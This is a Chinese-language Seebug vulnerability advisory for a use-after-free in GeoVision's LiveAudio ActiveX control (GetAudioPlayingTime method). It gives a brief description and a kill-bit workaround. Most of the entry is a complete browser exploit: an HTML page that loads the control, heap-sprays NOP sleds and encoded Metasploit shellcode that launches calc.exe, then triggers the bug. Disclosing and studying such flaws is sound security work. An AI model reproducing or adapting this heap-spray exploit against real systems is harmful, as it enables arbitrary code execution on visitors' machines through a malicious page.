GeoVision LiveAudio ActiveX控件GetAudioPlayingTime()方式代码执行漏洞

2009-03-17T00:00:00
ID SSV:4921
Type seebug
Reporter Root
Modified 2009-03-17T00:00:00

Description

BUGTRAQ ID: 34115

GeoVision LiveAudio ActiveX控件是GeoVision监控软件中用于同步音频的工具。

GeoVision LiveAudio ActiveX控件(CLSID:{814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8},Progid:LIVEAUDIO.LiveAudioCtrl.1)没有正确地验证对GetAudioPlayingTime()方式所提供的输入参数。如果用户受骗访问了恶意网页的话,就可能导致访问已经释放的内存。成功利用这个漏洞的攻击者可以在用户系统上执行任意代码。

GeoVision LiveAudio ActiveX 7.0 临时解决方法:

  • 为CLSID:{814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8}设置kill-bit。

厂商补丁:

GeoVision

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=http://www.geovision.com.cn/index.htm target=_blank rel=external nofollow>http://www.geovision.com.cn/index.htm</a>

                                        
                                            
                                                &lt;html&gt;
&lt;object classid='clsid:814A3C52-B6F7-4AEA-A9BC-7849B9B0ECA8' id='x'&gt;
&lt;/object&gt;
&lt;div id='boom'&gt;&lt;/div&gt;
&lt;script&gt;
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 \
                Encoder=Alpha2 http://metasploit.com
     shellcode = unescape(&quot;%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949&quot; +
                          &quot;%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a&quot; +
                          &quot;%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241&quot; +
                          &quot;%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c&quot; +
                          &quot;%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c&quot; +
                          &quot;%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f&quot; +
                          &quot;%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b&quot; +
                          &quot;%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c&quot; +
                          &quot;%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831&quot; +
                          &quot;%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955&quot; +
                          &quot;%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b&quot; +
                          &quot;%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b&quot; +
                          &quot;%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44&quot; +
                          &quot;%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35&quot; +
                          &quot;%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530&quot; +
                          &quot;%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b&quot; +
                          &quot;%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c&quot; +
                          &quot;%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63&quot; +
                          &quot;%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f&quot; +
                          &quot;%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377&quot; +
                          &quot;%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f&quot; +
                          &quot;%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035&quot; +
                          &quot;%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653&quot; +
                          &quot;%u314e%u7475%u7038%u7765%u4370&quot;);
bigblock  = unescape(&quot;%u9090%u9090&quot;);
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length&lt;slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace&lt;0x41000) block = block+block+fillblock;
memory = new Array();
for (i=0;i&lt;0x800;i++){memory[i] = block+shellcode;if (i &lt; 0x4b0) { memory[i-0x64] = \
&quot;&quot; }} try{eval('x.GetAudioPlayingTime(boom,boom)')}catch(e){}
&lt;/script&gt;